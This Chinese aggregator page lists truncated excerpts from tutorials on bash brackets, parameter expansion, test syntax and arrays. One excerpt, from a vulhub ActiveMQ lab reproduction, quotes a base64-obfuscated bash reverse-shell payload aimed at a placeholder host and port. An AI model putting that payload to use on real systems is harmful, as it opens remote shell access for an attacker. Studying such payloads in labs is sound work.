bash 括号使用】的更多相关文章

Bash 括号多种使用方式 ${} 变量初始化 ${param:-string} 若变量param为空或者未定义,则用在命令行中用string来替换${param:-string} 否则变量param不为空时,则用变量param的值来替换${param:-string} [root@test-lb-010000006199 ~]# echo $param [root@test-lb-010000006199 ~]# echo ${param:-strabc} strabc [root@test-…
小括号()和大括号{} 主要包括一下几种 ${var} $(cmd) ()和{} $((exp)) ${var:-string},${var:+string},${var:=string},${var:?string} $(var%pattern),$(var%%pattern),$(var#pattern),$(var##pattern) 1.shell变量应用原型 ${var} 2.变量替换 ${cmd}与`cmd`类似 注意:$(cmd)只输出标准输入,如果命令执行错误,则无输出 3. 一…
今天在 SegmentFault 上看到又有人问起关于Shell里各种括号的问题.对于很多玩Shell的人,括号是个很尴尬的问题,用起来没问题,说起来不明白,我在这里总结一下Bash Shell几种括号的用法和区别,别的Shell我不会... (( )) :一对圆括号有两个地方用到. 1,for循环, for (( expr1 ; expr2 ; expr3 )) 这里一对双括号里边的表达式,GNU的文档指出,expr1支持 Shell Arithmetic:expr2不为0时,expr3被赋值…
一. bash [  ] 单双括号 基本要素: Ø  [ ] 两个符号左右都要有空格分隔 Ø  内部操作符与操作变量之间要有空格:如  [  “a”  =  “b”  ] Ø  字符串比较中,> < 需要写成\> \< 进行转义 Ø  [ ] 中字符串或者${}变量尽量使用"" 双引号扩住,避免值未定义引用而出错的好办法 Ø  [ ] 中可以使用 –a –o 进行逻辑运算 Ø  [ ] 是bash 内置命令:[ is a shell builtin 1.测试时逻…
天在 SegmentFault 上看到又有人问起关于Shell里各种括号的问题.对于很多玩Shell的人,括号是个很尴尬的问题,用起来没问题,说起来不明白,我在这里总结一下Bash Shell几种括号的用法和区别,别的Shell我不会... (( )) :一对圆括号有两个地方用到. 1,for循环, for (( expr1 ; expr2 ; expr3 )) 这里一对双括号里边的表达式,GNU的文档指出,expr1支持 Shell Arithmetic:expr2不为0时,expr3被赋值且…
1.两个小括号用来对整数进行算术运算和逻辑运算,比如. 例如给变量赋值: $ a=+; echo $a + $ (( b = + )); echo $b 1+1 只是一个字符串,而 b 就是一个算术表达式结果. 正是因为是算术表达式,所以比较也是按数字本身而不是字符串: $ (( > )); echo $? $ (( > )); echo $? $ (( > )); echo $? 所以也可以套上 if 语句来用: [root@noi ~]# >)) > then >…
双方括号[[]]的用法: 1.先举个例子说明: 假如你要再判断某个目录是否存在,又想当然写成: $ [ -f exists.txt && -d exists_folder ]; echo $? bash: [: missing `]' 结果提示漏了右括号,那是因为 && 被 bash 预先解析了,而不是当成 test 的参数传递. && 表示如果左边的命令正常执行了,那么继续执行右边的命令,相当于没有 else 部分的 if 语句简化版. 而 || 表示如果…
初学Bash脚本编程,里面的各种括号,绝对是一个大坑,为了救人救己,以防再度入坑,特记录如下: 一.单小括号: 1.创建子Shell.单个小括号用来创建一个子shell,子shell允许你在不影响当前shell的环境下去执行操作.例如: pwd /root (cd /tmp;pwd) /tmp 又如,你在 home 目录,cd 到 /tmp 目录,sleep 5 秒,最后 cd 回 home,但是你会在 sleep 的过程中按 Ctrl + c 中断.命令如下: ~$ cd /tmp/; ; c…
单小括号 () ①命令组.括号中的命令将会新开一个子shell顺序执行,所以括号中的变量不能够被脚本余下的部分使用.括号中多个命令之间用分号隔开,最后一个命令可以没有分号,各命令和括号之间不必有空格. ②命令替换.等同于`cmd`,shell扫描一遍命令行,发现了$(cmd)结构,便将$(cmd)中的cmd执行一次,得到其标准输出,再将此输出放到原来命令.有些shell不支持,如tcsh. ③用于初始化数组.如:array=(a b c d) 后面两种情况比较容易理解:第一种情况,可见如下脚本:…
背景 在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i} 其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料…
一.单引号和双引号 首先,单引号和双引号,都是为了解决中间有空格的问题. 因为空格在Linux中时作为一个很典型的分隔符,比如string1=this is astring,这样执行就会报错.为了避免这个问题,因此就产生了单引号和双引号.他们的区别在于,单引号将剥夺其中的所有字符的特殊含义,而双引号中的'$'(参数替换)和'`'(命令替换)是例外.所以,两者基本上没有什么区别,除非在内容中遇到了参数替换符$和命令替换符`. 所以下面的结果:num=3echo ‘$num’$numecho “$n…
我承认,我再一次地当了标题党.但是不可否认,这一定是一篇精华随笔.在这一篇中,我将探讨 Bash 脚本语言中的美学与哲学. 这不是一篇 Bash 脚本编程的教程,但是却能让人更加深入地了解 Bash 脚本编程,更加快速地学习 Bash 脚本编程. 阅读这篇随笔,不需要你有 Bash 编程的经验,但一定要和我一样热衷于探索各种编程语言的本质,感悟它们的魅力. 其实早就想写关于 Bash 的东西了. 我们平时喜欢对编程语言进行分类,比如面向过程的编程语言.面向对象的编程语言.函数式编程语言等等.在我…
1. exit:退出脚本.可以定义,如 #exit 数字(0-255) 2. 文件测试 -e FILE:测试文件是否存在 -f FILE:测试文件是否为普通 -d FILE:测试指定路径是否为目录 -r FILE:测试指定文件对当前用户有读权限 -w FILE:测试指定文件对当前用户有写权限 -x FILE:测试指定文件对当前用户有执行权限 [ –e  /etc/inittab ] , 注这个括号前后有空格 3. 多分支的if语句 格式如下: if 判断条件1; then statement1…
bash 是一个为GNU计划编写的Unix shell.它的名字是一系列缩写:Bourne-Again SHell - 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again).Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version 7 Unix一起发布.bash则在1987年由布莱恩·福克斯创造.(取自百度百科) 它是一种脚本语言,类似于windows 操作系统里面的批处理,在平常生活中,可以…
1. Shell简介 Shell本身是一个用C语言编写的程序,它是用户使用Unix/Linux的桥梁,用户的大部分工作都是通过Shell完成的.Shell既是一种命令语言,又是一种程序设计语言.作为命令语言,它交互式地解释和执行用户输入的命令:作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括循环和分支. 它虽然不是Unix/Linux系统内核的一部分,但它调用了系统核心的大部分功能来执行程序.建立文件并以并行的方式协调各个程序的运行.因此,对于用户来说,s…
一.小括号,圆括号() 1.单小括号 ()    ①命令组.括号中的命令将会新开一个子shell顺序执行,所以括号中的变量不能够被脚本余下的部分使用.括号中多个命令之间用分号隔开,最后一个命令可以没有分号,各命令和括号之间不必有空格.    ②命令替换.等同于`cmd`,shell扫描一遍命令行,发现了$(cmd)结构,便将$(cmd)中的cmd执行一次,得到其标准输出,再将此输出放到原来命令.有些shell不支持,如tcsh.     ③用于初始化数组.如:array=(a b c d)  …
Git Bash+ConEmu可以模拟Linux强大的命令行.不过在结合Scala和Play时,需要注意如下事项: 1. Scala的安装在64位操作系统下,默认会放在“C:\Program Files (x86)\”.更改此目录使其安装在没有空格和没有括号的目录下. 2. chmod a+x scala,使此脚本具有执行权限. 3. 安装完Play2后,因为路径原因会出现“Could not find configuration file ../framework/sbt/sbt.boot.p…
1,export VAR=... 这个命令在Shell下直接运行可以使之后运行的脚本也知道这个VAR.但是如果 这个命令在脚本中运行,那么不影响脚本以外的参数.举个例子,如果在一个脚本运行之前没有 VAR这个环境变量,而在脚本中运行了 export VAR=3 这一命令,那么在脚本结束之后,如果运行 echo $VAR,不会有任何显示.说明export仅在脚本中有效. 2,if ... ; then ...; else ...; fi 可以把判断写在不同行,这样就不需要“:”号了.if后面跟[]…
while循环:条件满足,则循环:失败,则退出 如何退出? 必须有时刻,条件测试不成功 ? :条件控制变量 while 条件测试:do 循环体 done until循环:条件不满足,则循环:否则,退出 until 测试条件:do 循环体 done bash编程之组合测试条件 逻辑与:多个条件同时满足 [ CONDITION1 ] && [ CONDITION2 ] [ CONDITION1 -a CONDITION2 ] [[ CONDITION1 && CONDITION…
首先声明这是网上摘来的.这里的技术技巧最初是来自谷歌的“Testing on the Toilet” (TOTT).这里是一个修订和扩增版本. 脚本安全 我的所有bash脚本都以下面几句为开场白: #!/bin/bash set -o nounset set -o errexit 这样做会避免两种常见的问题: 引用未定义的变量(缺省值为“”) 执行失败的命令被忽略 需要注意的是,有些Linux命令的某些参数可以强制忽略发生的错误,例如“mkdir -p” 和 “rm -f”. 还要注意的是,在“…
____通配符和正则表达式 此处的定义只针对linux 中的shell语言,对其它语言不适用 _正则表达式用来在文件中匹配符合条件的字符串,正则是包含匹配.grep.awk.sed等命令可以支持正则表达式. _通配符用来匹配符合条件的文件名,通配符是完全匹配.ls.find.cp这些命令不支持正则表达式,所以只能使用shell自己的通配符来进行匹配 ___grep 查找文件名时必要时添加\ 转义符以取消字符所带含义.就算不想应用正则表达式,也是不可能的,因为正则表达式就是字符存在的方式. ___…
1.变量的分类: 用户自定义变量:   变量自定义 默认存储是字符串环境变量:              这种变量中主要保存的是和系统操作环境相关的数据.变量可以自定义,但是对系统生效的环境变量名和变量作用是固定的位置参数变量:      这种变量主要是用来向脚本当中传递参数或数据的,变量名不能自定义,变量作用是固定的预定义变量:          是bash中已经定义好的变量,变量名不能自定义,变量作用也是固定的 2.用户自定义变量 1.定义变量        格式:变量名称=变量值(=左右不…
最近工作中需要写一个Linux脚本,用到了很多BASH命令,为了防止以后忘记,在这里把它们一一记下来.可能会比较乱,随便看看就好了.如果有说的不对的地方也欢迎大家指正. 1,export VAR=... 这个命令在Shell下直接运行可以使之后运行的脚本也知道这个VAR.但是如果这个命令在脚本中运行,那么不影响脚本以外的参数.举个例子,如果在一个脚本运行之前没有 VAR这个环境变量,而在脚本中运行了 export VAR=3 这一命令,那么在脚本结束之后,如果运行 echo $VAR,不会有任何…
转自:https://linux.cn/article-5657-1.html Linux下无论如何都是要用到shell命令的,在Shell的实际使用中,有编程经验的很容易上手,但稍微有难度的是shell里面的那些个符 号,各种特殊的符号在我们编写Shell脚本的时候如果能够用的好,往往能给我们起到事半功倍的效果,为此,特地将Shell里面的一些符号说明罗列成对 照表的形式,以便快速的查找.看看你知道下表中的哪些Shell符号呢? Shell符号及各种解释对照表: Shell符号 使用方法及说明…
1. 用户自定义变量 (1)变量设置规则 ① 变量名称可由字母.数字和下划线组成,但不能以数字开头: ② 变量的默认类型为字符串类型,如果要对数值运算,则必须指定变量类型为数值型: ③ 变量用等号连接值,且等号两侧不能有空格: ④ 变量的值如果有空格,需使用单引号或双引号括起: ⑤ 变量的值中,可使用"\"转义符: ⑥ 如果需要增加变量的值,可以进行变量值的叠加,不过变量需要用双引号包含,即"$变量名",或者用${变量名}包含: ⑦ 如果是把命令的结果作为变量值赋予…
1. 普通数组 bash支持一维数组(不支持多维数组),并且没有限定数组的大小.类似与C语言,数组元素的下标由0开始编号.获取数组中的元素要利用下标,下标可以是整数或算术表达式,其值应大于或等于0. 1.1 定义数组 在Shell中,用括号来表示数组,数组元素用“空格”符号分割开.定义数组的一般形式为:     array_name=(value1 ... valuen) array_name=(value0 value1 value2 value3) array_name=( value0 v…
一.小括号() 单小括号 命令组.括号中的命令将会新开一个子shell顺序执行,所以括号中的变量不能够被脚本余下的部分使用.括号中多个命令之间用分号隔开,最后一个命令可以没有分号,各命令和括号之间不必有空格. 命令替换.等同于`cmd`,shell扫描一遍命令行,发现了$(cmd)结构,便将$(cmd)中的cmd执行一次,得到其标准输出,再将此输出放到原来命令.有些shell不支持,如tcsh. 用于初始化数组.如:array=(a b c d) 双小括号(()) 整数扩展.这种扩展计算是整数型…
      Bash Shell 的操作环境: 是否记得我们登陆主机的时候,屏幕上头会有一些说明文字,告知我们的 Linux 版本啊什么的, 还有,登陆的时候我们还可以给予用户一些信息或者欢迎文字呢.此外, 我们习惯的环境变量.命令别名等等的,是否可以登陆就主动的帮我配置好? 这些都是需要注意的.另外,这些配置值又可以分为系统整体配置值与各人喜好配置值, 仅是一些文件放置的地点不同啦!这我们后面也会来谈一谈的! 路径与命令搜寻顺序 我们在第六章与第七章都曾谈过『相对路径与绝对路径』的关系, 在本…
shell中大量的测试和比较选项而困惑呢? 这个技巧可以帮助您解密不同类型的文件.算术和字符串测试,这样您就能够知道什么时候使用 test. [ ]. [[ ]].(( )) 或 if-then-else 了: 内置命令 test 根据表达式expr 求值的结果返回 0(真)或 1(假).也可以使用方括号:test  expr和 [ expr ] 是等价的. 可以用 $? 检查返回值:可以使用 && 和 || 操作返回值:也可以用本技巧后面介绍的各种条件结构测试返回值. 清单 1. 一些简…
1.条件测试结构 1) if/then结构: 判断命令列表的退出码是否为0,0为成功. 如果if和then在条件判断的同一行上的话, 必须使用分号来结束if表达式: if和then都是关键字. 关键字(或者命令)如果作为表达式的开头, 并且如果想在同一行上再写一个新的表达式的话, 那么必须使用分号来结束上一句表达式. if [ condition1 ] then     command1     command2     command3 elif [ condition2 ] then # 与…